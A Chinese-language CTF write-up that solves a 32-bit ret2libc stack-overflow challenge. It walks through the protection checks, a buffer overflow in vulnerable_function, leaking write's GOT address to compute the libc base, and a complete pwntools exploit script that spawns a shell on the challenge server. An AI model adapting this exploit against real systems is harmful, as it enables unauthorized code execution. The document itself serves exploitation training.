来自攻防世界的一道 ret2libc 栈溢出题。
附件带有 libc 共享库:
checkesc 查看保护:
1
2
3
4
5
6
7
8
|
❮ pwn checksec --file=level3
[*] '/data/Hack/tmp/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
|
32 位 elf 开启了 NX 保护。
IDA pro 反编译出来进入 vulnerable_function 函数,使用 read 函数向 buf 读入 0x100 字节的数据,但实际 buf 只有 0x88 字节,可以栈溢出。
1
2
3
4
5
6
7
|
ssize_t vulnerable_function()
{
_BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF
write(1, "Input:\n", 7u);
return read(0, buf, 0x100u);
}
|

通过这个可以知道只要注入了 0x88 + 0x4 就能开始对返回地址进行注入了。
但是 level3 没有 system 函数,只能通过附件给的 libc 获得 system 函数。
因为 ASLR 所以 libc 的加载地址是随机的,但是可以通过计算偏移量来获得我们需要的函数。
计算偏移量首先需要先计算 write 的真实地址,而 write_got 存储的就是 write 的真实地址,通过对 write 的真实地址减去 write 在 libc 的地址就可以获得 libc 当前的偏移量。
借助偏移量就可以获得 system 的实际地址了。
1
2
|
elfLevel3 = ELF("./level3")
elfLibc = ELF("./libc_32.so.6")
|
通过 ELF 类读取 level3 和 libc 的信息。
1
2
3
|
writePlt = elfLevel3.plt["write"]
writeGot = elfLevel3.got["write"]
mainAddr = elfLevel3.symbols["main"]
|
通过 ELF 类可以获得 plt got 和符号的地址。
我们需要进行两次的注入攻击,第一次获得偏移量,第二次根据偏移量使用 system 函数获得 shell。让第一次 write 返回地址为 main 函数地址就可以做到。
首先是第一次攻击载荷:
1
2
3
4
5
6
7
8
|
payload1 = (
b"a" * (0x88 + 0x4)
+ p32(writePlt)
+ p32(mainAddr)
+ p32(0)
+ p32(writeGot)
+ p32(4)
)
|
进行注入
1
2
3
|
p.recvuntil(b"Input:\n")
p.sendline(payload1)
writeRealGot = (u32(p.recv()))
|
这里向标准输出了 writeGot 的内容,也就是 write 的真实地址。
接下来计算偏移量:
1
|
libcOffset = writeRealGot - elfLibc.symbols['write']
|
通过偏移量计算 system 的实际地址:
1
|
systemAddr = libcOffset + elfLibc.symbols['system']
|
我们还需要获得 ‘/bin/sh’ 这个字符串,可以使用 ROPgabgat 尝试在 libc 里面寻找 gabget 片段。
1
2
3
4
|
❯ ROPgadget --binary libc_32.so.6 --string '/bin/sh'
Strings information
============================================================
0x0015902b : /bin/sh
|
这里的地址还是在 libc 的地址,还是需要加上偏移量才是实际地址。
最终和第一次 payload 一样,只不过 write 换成 system 而已。
1
|
payload2 = b'a' * (0x88 + 0x4) + p32(systemAddr) + p32(0) + p32(binshAddr)
|
最终 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
p = remote("61.147.171.105", 59894)
elfLevel3 = ELF("./level3")
elfLibc = ELF("./libc_32.so.6")
writePlt = elfLevel3.plt["write"]
writeGot = elfLevel3.got["write"]
mainAddr = elfLevel3.symbols["main"]
binshAddr = 0x0015902b
payload1 = (
b"a" * (0x88 + 0x4)
+ p32(writePlt)
+ p32(mainAddr)
+ p32(0)
+ p32(writeGot)
+ p32(4)
)
p.recvuntil(b"Input:\n")
p.sendline(payload1)
writeRealGot = (u32(p.recv()))
libcOffset = writeRealGot - elfLibc.symbols['write']
systemAddr = libcOffset + elfLibc.symbols['system']
binshAddr += libcOffset
payload2 = b'a' * (0x88 + 0x4) + p32(systemAddr) + p32(0) + p32(binshAddr)
p.recvuntil(b"Input:\n")
p.sendline(payload2)
p.interactive()
|